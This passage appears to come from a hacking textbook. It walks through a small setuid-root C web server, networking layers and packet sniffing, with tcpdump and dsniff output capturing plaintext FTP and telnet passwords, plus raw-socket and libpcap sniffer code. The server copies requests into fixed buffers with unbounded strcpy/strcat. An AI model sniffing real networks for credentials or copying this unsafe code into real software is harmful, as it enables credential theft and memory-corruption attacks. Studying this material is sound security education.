printf(" NOT HTTP!\n");

} else {

*ptr = 0; // Terminate the buffer at the end of the URL.

ptr = NULL; // Set ptr to NULL (used to flag for an invalid request).

if(strncmp(request, "GET ", 4) == 0) // GET request

ptr = request+4; // ptr is the URL.

if(strncmp(request, "HEAD ", 5) == 0) // HEAD request

ptr = request+5; // ptr is the URL.

if(ptr == NULL) { // Then this is not a recognized request.

printf("\tUNKNOWN REQUEST!\n");

} else { // Valid request, with ptr pointing to the resource name

if (ptr[strlen(ptr) - 1] == '/') // For resources ending with '/',

strcat(ptr, "index.html"); // add 'index.html' to the end.

strcpy(resource, WEBROOT); // Begin resource with web root path

strcat(resource, ptr); // and join it with resource path.

fd = open(resource, O_RDONLY, 0); // Try to open the file.

printf("\tOpening \'%s\'\t", resource);

if(fd == -1) { // If file is not found

printf(" 404 Not Found\n");

send_string(sockfd, "HTTP/1.0 404 NOT FOUND\r\n");

send_string(sockfd, "Server: Tiny webserver\r\n\r\n");

send_string(sockfd, "<html><head><title>404 Not Found</title></head>");

send_string(sockfd, "<body><h1>URL not found</h1></body></html>\r\n");

} else { // Otherwise, serve up the file.

printf(" 200 OK\n");

send_string(sockfd, "HTTP/1.0 200 OK\r\n");

send_string(sockfd, "Server: Tiny webserver\r\n\r\n");

if(ptr == request + 4) { // Then this is a GET request

if( (length = get_file_size(fd)) == -1)

fatal("getting resource file size");

if( (ptr = (unsigned char *) malloc(length)) == NULL)

fatal("allocating memory for reading resource");

read(fd, ptr, length); // Read the file into memory.

send(sockfd, ptr, length, 0); // Send it to socket.

free(ptr); // Free file memory.

}

close(fd); // Close the file.

} // End if block for file found/not found.

} // End if block for valid request.

} // End if block for valid HTTP.

shutdown(sockfd, SHUT_RDWR); // Close the socket gracefully.

}

/* This function accepts an open file descriptor and returns

* the size of the associated file. Returns -1 on failure.

*/

int get_file_size(int fd) {

struct stat stat_struct;

if(fstat(fd, &stat_struct) == -1)

return -1;

return (int) stat_struct.st_size;

}

The handle_connection function uses the strstr() function to look for the substring HTTP/ in the request buffer. The strstr() function returns a pointer to the substring, which will be right at the end of the request. The string is terminated here, and the requests HEAD and GET are recognized as processable requests. A HEAD request will just return the headers, while a GET request will also return the requested resource (if it can be found).

The files index.html and image.jpg have been put into the directory webroot, as shown in the output below, and then the tinyweb program is compiled. Root privileges are needed to bind to any port below 1024, so the program is setuid root and executed. The server's debugging output shows the results of a web browser's request of http://127.0.0.1:

reader@hacking:~/booksrc $ ls -l webroot/

total 52

-rwxr--r-- 1 reader reader 46794 2007-05-28 23:43 image.jpg

-rw-r--r-- 1 reader reader 261 2007-05-28 23:42 index.html

reader@hacking:~/booksrc $ cat webroot/index.html

<html>

<head><title>A sample webpage</title></head>

<body bgcolor="#000000" text="#ffffffff">

<center>

<h1>This is a sample webpage</h1>

...and here is some sample text<br>

<br>

..and even a sample image:<br>

<img src="image.jpg"><br>

</center>

</body>

</html>

reader@hacking:~/booksrc $ gcc -o tinyweb tinyweb.c

reader@hacking:~/booksrc $ sudo chown root ./tinyweb

reader@hacking:~/booksrc $ sudo chmod u+s ./tinyweb

reader@hacking:~/booksrc $ ./tinyweb

Accepting web requests on port 80

Got request from 127.0.0.1:52996 "GET / HTTP/1.1"

Opening './webroot/index.html' 200 OK

Got request from 127.0.0.1:52997 "GET /image.jpg HTTP/1.1"

Opening './webroot/image.jpg' 200 OK

Got request from 127.0.0.1:52998 "GET /favicon.ico HTTP/1.1"

Opening './webroot/favicon.ico' 404 Not Found

The address 127.0.0.1 is a special loopback address that routes to the local machine. The initial request gets index.html from the webserver, which in turn requests image.jpg. In addition, the browser automatically requests favicon.ico in an attempt to retrieve an icon for the web page. The screenshot below shows the results of this request in a browser.

Figure 0x400-3.

Peeling Back the Lower Layers

When you use a web browser, all seven OSI layers are taken care of for you, allowing you to focus on browsing and not protocols. At the upper layers of OSI, many protocols can be plaintext since all the other details of the connection are already taken care of by the lower layers. Sockets exist on the session layer (5), providing an interface to send data from one host to another. TCP on the transport layer (4) provides reliability and transport control, while IP on the network layer (3) provides addressing and packet-level communication. Ethernet on the data-link layer (2) provides addressing between Ethernet ports, suitable for basic LAN (Local Area Network) communications. At the bottom, the physical layer (1) is simply the wire and the protocol used to send bits from one device to another. A single HTTP message will be wrapped in multiple layers as it is passed through different aspects of communication.

This process can be thought of as an intricate interoffice bureaucracy, reminiscent of the movie Brazil. At each layer, there is a highly specialized receptionist who only understands the language and protocol of that layer. As data packets are transmitted, each receptionist performs the necessary duties of her particular layer, puts the packet in an interoffice envelope, writes the header on the outside, and passes it on to the receptionist at the next layer below. That receptionist, in turn, performs the necessary duties of his layer, puts the entire envelope in another envelope, writes the header on the outside, and passes it on. Network traffic is a chattering bureaucracy of servers, clients, and peer-to-peer connections. At the higher layers, the traffic could be financial data, email, or basically anything. Regardless of what the packets contain, the protocols used at the lower layers to move the data from point A to point B are usually the same. Once you understand the office bureaucracy of these common lower layer protocols, you can peek inside envelopes in transit, and even falsify documents to manipulate the system.

Data-Link Layer

The lowest visible layer is the data-link layer. Returning to the receptionist and bureaucracy analogy, if the physical layer below is thought of as interoffice mail carts and the network layer above as a worldwide postal system, the data-link layer is the system of interoffice mail. This layer provides a way to address and send messages to anyone else in the office, as well as to figure out who's in the office.

Ethernet exists on this layer, providing a standard addressing system for all Ethernet devices. These addresses are known as Media Access Control (MAC) addresses. Every Ethernet device is assigned a globally unique address consisting of six bytes, usually written in hexadecimal in the form xx:xx:xx:xx:xx:xx. These addresses are also sometimes referred to as hardware addresses, since each address is unique to a piece of hardware and is stored in the device's integrated circuit memory. MAC addresses can be thought of as Social Security numbers for hardware, since each piece of hardware is supposed to have a unique MAC address.

An Ethernet header is 14 bytes in size and contains the source and destination MAC addresses for this Ethernet packet. Ethernet addressing also provides a special broadcast address, consisting of all binary 1's (ff:ff:ff:ff:ff:ff). Any Ethernet packet sent to this address will be sent to all the connected devices.

The MAC address of a network device isn't meant to change, but its IP address may change regularly. The concept of IP addresses doesn't exist at this level, only hardware addresses do, so a method is needed to correlate the two addressing schemes. In the office, post office mail sent to an employee at the office's address goes to the appropriate desk. In Ethernet, the method is known as Address Resolution Protocol (ARP).

This protocol allows "seating charts" to be made to associate an IP address with a piece of hardware. There are four different types of ARP messages, but the two most important types are ARP request messages and ARP reply messages. Any packet's Ethernet header includes a type value that describes the packet. This type is used to specify whether the packet is an ARP-type message or an IP packet.

An ARP request is a message, sent to the broadcast address, that contains the sender's IP address and MAC address and basically says, "Hey, who has this IP? If it's you, please respond and tell me your MAC address." An ARP reply is the corresponding response that is sent to the requester's MAC address (and IP address) saying, "This is my MAC address, and I have this IP address." Most implementations will temporarily cache the MAC/IP address pairs received in ARP replies, so that ARP requests and replies aren't needed for every single packet. These caches are like the interoffice seating chart.

For example, if one system has the IP address 10.10.10.20 and MAC address 00:00:00:aa:aa:aa, and another system on the same network has the IP address 10.10.10.50 and MAC address 00:00:00:bb:bb:bb, neither system can communicate with the other until they know each other's MAC addresses.

Figure 0x400-4.

If the first system wants to establish a TCP connection over IP to the second device's IP address of 10.10.10.50, the first system will first check its ARP cache to see if an entry exists for 10.10.10.50. Since this is the first time these two systems are trying to communicate, there will be no such entry, and an ARP request will be sent out to the broadcast address, saying, "If you are 10.10.10.50, please respond to me at 00:00:00:aa:aa:aa." Since this request uses the broadcast address, every system on the network sees the request, but only the system with the corresponding IP address is meant to respond. In this case, the second system responds with an ARP reply that is sent directly back to 00:00:00:aa:aa:aa saying, "I am 10.10.10.50 and I'm at 00:00:00:bb:bb:bb." The first system receives this reply, caches the IP and MAC address pair in its ARP cache, and uses the hardware address to communicate.

Network Layer

The network layer is like a worldwide postal service providing an addressing and delivery method used to send things everywhere. The protocol used at this layer for Internet addressing and delivery is, appropriately, called Internet Protocol (IP); the majority of the Internet uses IP version 4.

Every system on the Internet has an IP address, consisting of a familiar four-byte arrangement in the form of xx.xx.xx.xx. The IP header for packets in this layer is 20 bytes in size and consists of various fields and bitflags as defined in RFC 791.

From RFC 791

[Page 10]

September 1981

Internet Protocol

3. SPECIFICATION

3.1. Internet Header Format

A summary of the contents of the internet header follows:

0 1 2 3

0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

|Version| IHL |Type of Service| Total Length |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| Identification |Flags| Fragment Offset |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| Time to Live | Protocol | Header Checksum |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| Source Address |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| Destination Address |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| Options | Padding |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

Example Internet Datagram Header

Figure 4.

Note that each tick mark represents one bit position.

This surprisingly descriptive ASCII diagram shows these fields and their positions in the header. Standard protocols have awesome documentation. Similar to the Ethernet header, the IP header also has a protocol field to describe the type of data in the packet and the source and destination addresses for routing. In addition, the header carries a checksum, to help detect transmission errors, and fields to deal with packet fragmentation.

The Internet Protocol is mostly used to transmit packets wrapped in higher layers. However, Internet Control Message Protocol (ICMP) packets also exist on this layer. ICMP packets are used for messaging and diagnostics. IP is less reliable than the post office—there's no guarantee that an IP packet will actually reach its final destination. If there's a problem, an ICMP packet is sent back to notify the sender of the problem.

ICMP is also commonly used to test for connectivity. ICMP Echo Request and Echo Reply messages are used by a utility called ping. If one host wants to test whether it can route traffic to another host, it pings the remote host by sending an ICMP Echo Request. Upon receipt of the ICMP Echo Request, the remote host sends back an ICMP Echo Reply. These messages can be used to determine the connection latency between the two hosts. However, it is important to remember that ICMP and IP are both connectionless; all this protocol layer really cares about is getting the packet to its destination address.

Sometimes a network link will have a limitation on packet size, disallowing the transfer of large packets. IP can deal with this situation by fragmenting packets, as shown here.

Figure 0x400-5.

The packet is broken up into smaller packet fragments that can pass through the network link, IP headers are put on each fragment, and they're sent off. Each fragment has a different fragment offset value, which is stored in the header. When the destination receives these fragments, the offset values are used to reassemble the original IP packet.

Provisions such as fragmentation aid in the delivery of IP packets, but this does nothing to maintain connections or ensure delivery. This is the job of the protocols at the transport layer.

Transport Layer

The transport layer can be thought of as the first line of office receptionists, picking up the mail from the network layer. If a customer wants to return a defective piece of merchandise, they send a message requesting a Return Material Authorization (RMA) number. Then the receptionist would follow the return protocol by asking for a receipt and eventually issuing an RMA number so the customer can mail the product in. The post office is only concerned with sending these messages (and packages) back and forth, not with what's in them.

The two major protocols at this layer are the Transmission Control Protocol (TCP) and User Datagram Protocol (UDP). TCP is the most commonly used protocol for services on the Internet: telnet, HTTP (web traffic), SMTP (email traffic), and FTP (file transfers) all use TCP. One of the reasons for TCP's popularity is that it provides a transparent, yet reliable and bidirectional, connection between two IP addresses. Stream sockets use TCP/IP connections. A bidirectional connection with TCP is similar to using a telephone—after dialing a number, a connection is made through which both parties can communicate. Reliability simply means that TCP will ensure that all the data will reach its destination in the proper order. If the packets of a connection get jumbled up and arrive out of order, TCP will make sure they're put back in order before handing the data up to the next layer. If some packets in the middle of a connection are lost, the destination will hold on to the packets it has while the source retransmits the missing packets.

All of this functionality is made possible by a set of flags, called TCP flags, and by tracking values called sequence numbers. The TCP flags are as follows:

TCP flag

Meaning

Purpose

URG

Urgent

Identifies important data

ACK

Acknowledgment

Acknowledges a packet; it is turned on for the majority of the connection

PSH

Push

Tells the receiver to push the data through instead of buffering it

RST

Reset

Resets a connection

SYN

Synchronize

Synchronizes sequence numbers at the beginning of a connection

FIN

Finish

Gracefully closes a connection when both sides say goodbye

These flags are stored in the TCP header along with the source and destination ports. The TCP header is specified in RFC 793.

From RFC 793

[Page 14]

September 1981

Transmission Control Protocol

3. FUNCTIONAL SPECIFICATION

3.1. Header Format

TCP segments are sent as internet datagrams. The Internet Protocol

header carries several information fields, including the source and

destination host addresses [2]. A TCP header follows the internet

header, supplying information specific to the TCP protocol. This

division allows for the existence of host level protocols other than

TCP.

TCP Header Format

0 1 2 3

0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| Source Port | Destination Port |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| Sequence Number |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| Acknowledgment Number |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| Data | |U|A|P|R|S|F| |

| Offset| Reserved |R|C|S|S|Y|I| Window |

| | |G|K|H|T|N|N| |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| Checksum | Urgent Pointer |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| Options | Padding |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| data |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

TCP Header Format

Note that one tick mark represents one bit position.

Figure 3.

The sequence number and acknowledgment number are used to maintain state. The SYN and ACK flags are used together to open connections in a three-step handshaking process. When a client wants to open a connection with a server, a packet with the SYN flag on, but the ACK flag off, is sent to the server. The server then responds with a packet that has both the SYN and ACK flags turned on. To complete the connection, the client sends back a packet with the SYN flag off but the ACK flag on. After that, every packet in the connection will have the ACK flag turned on and the SYN flag turned off. Only the first two packets of the connection have the SYN flag on, since those packets are used to synchronize sequence numbers.

Figure 0x400-6.

Sequence numbers allow TCP to put unordered packets back into order, to determine whether packets are missing, and to prevent mixing up packets from other connections.

When a connection is initiated, each side generates an initial sequence number. This number is communicated to the other side in the first two SYN packets of the connection handshake. Then, with each packet that is sent, the sequence number is incremented by the number of bytes found in the data portion of the packet. This sequence number is included in the TCP packet header. In addition, each TCP header has an acknowledgment number, which is simply the other side's sequence number plus one.

TCP is great for applications where reliability and bidirectional communication are needed. However, the cost of this functionality is paid in communication overhead.

UDP has much less overhead and built-in functionality than TCP. This lack of functionality makes it behave much like the IP protocol: It is connectionless and unreliable. Without built-in functionality to create connections and maintain reliability, UDP is an alternative that expects the application to deal with these issues. Sometimes connections aren't needed, and the lightweight UDP is a much better protocol for these situations. The UDP header, defined in RFC 768, is relatively tiny. It only contains four 16-bit values in this order: source port, destination port, length, and checksum.

Network Sniffing

On the data-link layer lies the distinction between switched and unswitched networks. On an unswitched network, Ethernet packets pass through every device on the network, expecting each system device to only look at the packets sent to its destination address. However, it's fairly trivial to set a device to promiscuous mode, which causes it to look at all packets, regardless of the destination address. Most packet-capturing programs, such as tcpdump, drop the device they are listening to into promiscuous mode by default. Promiscuous mode can be set using ifconfig, as seen in the following output.

reader@hacking:~/booksrc $ ifconfig eth0

eth0 Link encap:Ethernet HWaddr 00:0C:29:34:61:65

UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1

RX packets:17115 errors:0 dropped:0 overruns:0 frame:0

TX packets:1927 errors:0 dropped:0 overruns:0 carrier:0

collisions:0 txqueuelen:1000

RX bytes:4602913 (4.3 MiB) TX bytes:434449 (424.2 KiB)

Interrupt:16 Base address:0x2024

reader@hacking:~/booksrc $ sudo ifconfig eth0 promisc

reader@hacking:~/booksrc $ ifconfig eth0

eth0 Link encap:Ethernet HWaddr 00:0C:29:34:61:65

UP BROADCAST RUNNING PROMISC MULTICAST MTU:1500 Metric:1

RX packets:17181 errors:0 dropped:0 overruns:0 frame:0

TX packets:1927 errors:0 dropped:0 overruns:0 carrier:0

collisions:0 txqueuelen:1000

RX bytes:4668475 (4.4 MiB) TX bytes:434449 (424.2 KiB)

Interrupt:16 Base address:0x2024

reader@hacking:~/booksrc $

The act of capturing packets that aren't necessarily meant for public viewing is called sniffing. Sniffing packets in promiscuous mode on an unswitched network can turn up all sorts of useful information, as the following output shows.

reader@hacking:~/booksrc $ sudo tcpdump -l -X 'ip host 192.168.0.118'

tcpdump: listening on eth0

21:27:44.684964 192.168.0.118.ftp > 192.168.0.193.32778: P 1:42(41) ack 1 win

17316 <nop,nop,timestamp 466808 920202> (DF)

0x0000 4500 005d e065 4000 8006 97ad c0a8 0076 E..].e@........v

0x0010 c0a8 00c1 0015 800a 292e 8a73 5ed4 9ce8 ........)..s^...

0x0020 8018 43a4 a12f 0000 0101 080a 0007 1f78 ..C../.........x

0x0030 000e 0a8a 3232 3020 5459 5053 6f66 7420 ....220.TYPSoft.

0x0040 4654 5020 5365 7276 6572 2030 2e39 392e FTP.Server.0.99.

0x0050 3133 13

21:27:44.685132 192.168.0.193.32778 > 192.168.0.118.ftp: . ack 42 win 5840

<nop,nop,timestamp 920662 466808> (DF) [tos 0x10]

0x0000 4510 0034 966f 4000 4006 21bd c0a8 00c1 E..4.o@.@.!.....

0x0010 c0a8 0076 800a 0015 5ed4 9ce8 292e 8a9c ...v....^...)...

0x0020 8010 16d0 81db 0000 0101 080a 000e 0c56 ...............V

0x0030 0007 1f78 ...x

21:27:52.406177 192.168.0.193.32778 > 192.168.0.118.ftp: P 1:13(12) ack 42 win

5840 <nop,nop,timestamp 921434 466808> (DF) [tos 0x10]

0x0000 4510 0040 9670 4000 4006 21b0 c0a8 00c1 E..@.p@.@.!.....

0x0010 c0a8 0076 800a 0015 5ed4 9ce8 292e 8a9c ...v....^...)...

0x0020 8018 16d0 edd9 0000 0101 080a 000e 0f5a ...............Z

0x0030 0007 1f78 5553 4552 206c 6565 6368 0d0a ...xUSER.leech..

21:27:52.415487 192.168.0.118.ftp > 192.168.0.193.32778: P 42:76(34) ack 13

win 17304 <nop,nop,timestamp 466885 921434> (DF)

0x0000 4500 0056 e0ac 4000 8006 976d c0a8 0076 E..V..@....m...v

0x0010 c0a8 00c1 0015 800a 292e 8a9c 5ed4 9cf4 ........)...^...

0x0020 8018 4398 4e2c 0000 0101 080a 0007 1fc5 ..C.N,..........

0x0030 000e 0f5a 3333 3120 5061 7373 776f 7264 ...Z331.Password

0x0040 2072 6571 7569 7265 6420 666f 7220 6c65 .required.for.le

0x0050 6563 ec

21:27:52.415832 192.168.0.193.32778 > 192.168.0.118.ftp: . ack 76 win 5840

<nop,nop,timestamp 921435 466885> (DF) [tos 0x10]

0x0000 4510 0034 9671 4000 4006 21bb c0a8 00c1 E..4.q@.@.!.....

0x0010 c0a8 0076 800a 0015 5ed4 9cf4 292e 8abe ...v....^...)...

0x0020 8010 16d0 7e5b 0000 0101 080a 000e 0f5b ....~[.........[

0x0030 0007 1fc5 ....

21:27:56.155458 192.168.0.193.32778 > 192.168.0.118.ftp: P 13:27(14) ack 76

win 5840 <nop,nop,timestamp 921809 466885> (DF) [tos 0x10]

0x0000 4510 0042 9672 4000 4006 21ac c0a8 00c1 E..B.r@.@.!.....

0x0010 c0a8 0076 800a 0015 5ed4 9cf4 292e 8abe ...v....^...)...

0x0020 8018 16d0 90b5 0000 0101 080a 000e 10d1 ................

0x0030 0007 1fc5 5041 5353 206c 3840 6e69 7465 ....PASS.l8@nite

0x0040 0d0a ..

21:27:56.179427 192.168.0.118.ftp > 192.168.0.193.32778: P 76:103(27) ack 27

win 17290 <nop,nop,timestamp 466923 921809> (DF)

0x0000 4500 004f e0cc 4000 8006 9754 c0a8 0076 E..O..@....T...v

0x0010 c0a8 00c1 0015 800a 292e 8abe 5ed4 9d02 ........)...^...

0x0020 8018 438a 4c8c 0000 0101 080a 0007 1feb ..C.L...........

0x0030 000e 10d1 3233 3020 5573 6572 206c 6565 ....230.User.lee

0x0040 6368 206c 6f67 6765 6420 696e 2e0d 0a ch.logged.in...

Data transmitted over the network by services such as telnet, FTP, and POP3 is unencrypted. In the preceding example, the user leech is seen logging into an FTP server using the password l8@nite. Since the authentication process during login is also unencrypted, usernames and passwords are simply contained in the data portions of the transmitted packets.

tcpdump is a wonderful, general-purpose packet sniffer, but there are specialized sniffing tools designed specifically to search for usernames and passwords. One notable example is Dug Song's program, dsniff, which is smart enough to parse out data that looks important.

reader@hacking:~/booksrc $ sudo dsniff -n

dsniff: listening on eth0

-----------------

12/10/02 21:43:21 tcp 192.168.0.193.32782 -> 192.168.0.118.21 (ftp)

USER leech

PASS l8@nite

-----------------

12/10/02 21:47:49 tcp 192.168.0.193.32785 -> 192.168.0.120.23 (telnet)

USER root

PASS 5eCr3t

Raw Socket Sniffer

So far in our code examples, we have been using stream sockets. When sending and receiving using stream sockets, the data is neatly wrapped in a TCP/IP connection. Accessing the OSI model of the session (5) layer, the operating system takes care of all of the lower-level details of transmission, correction, and routing. It is possible to access the network at lower layers using raw sockets. At this lower layer, all the details are exposed and must be handled explicitly by the programmer. Raw sockets are specified by using SOCK_RAW as the type. In this case, the protocol matters since there are multiple options. The protocol can be IPPROTO_TCP, IPPROTO_UDP, or IPPROTO_ICMP. The following example is a TCP sniffing program using raw sockets.

raw_tcpsniff.c

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <sys/socket.h>

#include <netinet/in.h>

#include <arpa/inet.h>

#include "hacking.h"

int main(void) {

int i, recv_length, sockfd;

u_char buffer[9000];

if ((sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_TCP)) == -1)

fatal("in socket");

for(i=0; i < 3; i++) {

recv_length = recv(sockfd, buffer, 8000, 0);

printf("Got a %d byte packet\n", recv_length);

dump(buffer, recv_length);

}

}

This program opens a raw TCP socket and listens for three packets, printing the raw data of each one with the dump() function. Notice that buffer is declared as a u_char variable. This is just a convenience type definition from sys/socket.h that expands to "unsigned char." This is for convenience, since unsigned variables are used a lot in network programming and typing unsigned every time is a pain.

When compiled, the program needs to be run as root, because the use of raw sockets requires root access. The following output shows the program sniffing the network while we're sending sample text to our simple_server.

reader@hacking:~/booksrc $ gcc -o raw_tcpsniff raw_tcpsniff.c

reader@hacking:~/booksrc $ ./raw_tcpsniff

[!!] Fatal Error in socket: Operation not permitted

reader@hacking:~/booksrc $ sudo ./raw_tcpsniff

Got a 68 byte packet

45 10 00 44 1e 36 40 00 40 06 46 23 c0 a8 2a 01 | E..D.6@.@.F#..*.

c0 a8 2a f9 8b 12 1e d2 ac 14 cf 92 e5 10 6c c9 | ..*...........l.

80 18 05 b4 32 47 00 00 01 01 08 0a 26 ab 9a f1 | ....2G......&...

02 3b 65 b7 74 68 69 73 20 69 73 20 61 20 74 65 | .;e.this is a te

73 74 0d 0a | st..

Got a 70 byte packet

45 10 00 46 1e 37 40 00 40 06 46 20 c0 a8 2a 01 | E..F.7@.@.F ..*.

c0 a8 2a f9 8b 12 1e d2 ac 14 cf a2 e5 10 6c c9 | ..*...........l.

80 18 05 b4 27 95 00 00 01 01 08 0a 26 ab a0 75 | ....'.......&..u

02 3c 1b 28 41 41 41 41 41 41 41 41 41 41 41 41 | .<.(AAAAAAAAAAAA

41 41 41 41 0d 0a | AAAA..

Got a 71 byte packet

45 10 00 47 1e 38 40 00 40 06 46 1e c0 a8 2a 01 | E..G.8@.@.F...*.

c0 a8 2a f9 8b 12 1e d2 ac 14 cf b4 e5 10 6c c9 | ..*...........l.

80 18 05 b4 68 45 00 00 01 01 08 0a 26 ab b6 e7 | ....hE......&...

02 3c 20 ad 66 6a 73 64 61 6c 6b 66 6a 61 73 6b | .< .fjsdalkfjask

66 6a 61 73 64 0d 0a | fjasd..

reader@hacking:~/booksrc $

While this program will capture packets, it isn't reliable and will miss some packets, especially when there is a lot of traffic. Also, it only captures TCP packets—to capture UDP or ICMP packets, additional raw sockets need to be opened for each. Another big problem with raw sockets is that they are notoriously inconsistent between systems. Raw socket code for Linux most likely won't work on BSD or Solaris. This makes multiplatform programming with raw sockets nearly impossible.

libpcap Sniffer

A standardized programming library called libpcap can be used to smooth out the inconsistencies of raw sockets. The functions in this library still use raw sockets to do their magic, but the library knows how to correctly work with raw sockets on multiple architectures. Both tcpdump and dsniff use libpcap, which allows them to compile with relative ease on any platform. Let's rewrite the raw packet sniffer program using the libpcap's functions instead of our own. These functions are quite intuitive, so we will discuss them using the following code listing.

pcap_sniff.c

#include <pcap.h>

#include "hacking.h"

void pcap_fatal(const char *failed_in, const char *errbuf) {

printf("Fatal Error in %s: %s\n", failed_in, errbuf);

exit(1);

}

First, pcap.h is included providing various structures and defines used by the pcap functions. Also, I've written a pcap_fatal() function for displaying fatal errors. The pcap functions use a error buffer to return error and status messages, so this function is designed to display this buffer to the user.

int main() {

struct pcap_pkthdr header;

const u_char *packet;

char errbuf[PCAP_ERRBUF_SIZE];

char *device;

pcap_t *pcap_handle;

int i;

The errbuf variable is the aforementioned error buffer, its size coming from a define in pcap.h set to 256. The header variable is a pcap_pkthdr structure containing extra capture information about the packet, such as when it was captured and its length. The pcap_handle pointer works similarly to a file descriptor, but is used to reference a packet-capturing object.

device = pcap_lookupdev(errbuf);

if(device == NULL)

pcap_fatal("pcap_lookupdev", errbuf);

printf("Sniffing on device %s\n", device);

The pcap_lookupdev() function looks for a suitable device to sniff on. This device is returned as a string pointer referencing static function memory. For our system this will always be /dev/eth0, although it will be different on a BSD system. If the function can't find a suitable interface, it will return NULL.

pcap_handle = pcap_open_live(device, 4096, 1, 0, errbuf);

if(pcap_handle == NULL)

pcap_fatal("pcap_open_live", errbuf);

Similar to the socket function and file open function, the pcap_open_live() function opens a packet-capturing device, returning a handle to it. The arguments for this function are the device to sniff, the maximum packet size, a promiscuous flag, a timeout value, and a pointer to the error buffer. Since we want to capture in promiscuous mode, the promiscuous flag is set to 1.

for(i=0; i < 3; i++) {

packet = pcap_next(pcap_handle, &header);

printf("Got a %d byte packet\n", header.len);

dump(packet, header.len);

}

pcap_close(pcap_handle);

}

Finally, the packet capture loop uses pcap_next() to grab the next packet. This function is passed the pcap_handle and a pointer to a pcap_pkthdr structure so it can fill it with details of the capture. The function returns a pointer to the packet and then prints the packet, getting the length from the capture header. Then pcap_close() closes the capture interface.

When this program is compiled, the pcap libraries must be linked. This can be done using the -l flag with GCC, as shown in the output below. The pcap library has been installed on this system, so the library and include files are already in standard locations the compiler knows about.

reader@hacking:~/booksrc $ gcc -o pcap_sniff pcap_sniff.c

/tmp/ccYgieqx.o: In function `main':

pcap_sniff.c:(.text+0x1c8): undefined reference to `pcap_lookupdev'

pcap_sniff.c:(.text+0x233): undefined reference to `pcap_open_live'

pcap_sniff.c:(.text+0x282): undefined reference to `pcap_next'

pcap_sniff.c:(.text+0x2c2): undefined reference to `pcap_close'

collect2: ld returned 1 exit status

reader@hacking:~/booksrc $ gcc -o pcap_sniff pcap_sniff.c -l pcap

reader@hacking:~/booksrc $ ./pcap_sniff

Fatal Error in pcap_lookupdev: no suitable device found

reader@hacking:~/booksrc $ sudo ./pcap_sniff

Sniffing on device eth0

Got a 82 byte packet

00 01 6c eb 1d 50 00 01 29 15 65 b6 08 00 45 10 | ..l..P..).e...E.

00 44 1e 39 40 00 40 06 46 20 c0 a8 2a 01 c0 a8 | .D.9@.@.F ..*...

2a f9 8b 12 1e d2 ac 14 cf c7 e5 10 6c c9 80 18 | *...........l...

05 b4 54 1a 00 00 01 01 08 0a 26 b6 a7 76 02 3c | ..T.......&..v.<

37 1e 74 68 69 73 20 69 73 20 61 20 74 65 73 74 | 7.this is a test

0d 0a | ..

Got a 66 byte packet

00 01 29 15 65 b6 00 01 6c eb 1d 50 08 00 45 00 | ..).e...l..P..E.

00 34 3d 2c 40 00 40 06 27 4d c0 a8 2a f9 c0 a8 | .4=,@.@.'M..*...

2a 01 1e d2 8b 12 e5 10 6c c9 ac 14 cf d7 80 10 | *.......l.......

05 a8 2b 3f 00 00 01 01 08 0a 02 47 27 6c 26 b6 | ..+?.......G'l&.

a7 76 | .v

Got a 84 byte packet

00 01 6c eb 1d 50 00 01 29 15 65 b6 08 00 45 10 | ..l..P..).e...E.

00 46 1e 3a 40 00 40 06 46 1d c0 a8 2a 01 c0 a8 | .F.:@.@.F...*...

2a f9 8b 12 1e d2 ac 14 cf d7 e5 10 6c c9 80 18 | *...........l...

05 b4 11 b3 00 00 01 01 08 0a 26 b6 a9 c8 02 47 | ..........&....G

27 6c 41 41 41 41 41 41 41 41 41 41 41 41 41 41 | 'lAAAAAAAAAAAAAA

41 41 0d 0a | AA..

reader@hacking:~/booksrc $

Notice that there are many bytes preceding the sample text in the packet and many of these bytes are similar. Since these are raw packet captures, most of these bytes are layers of header information for Ethernet, IP, and TCP.

Decoding the Layers

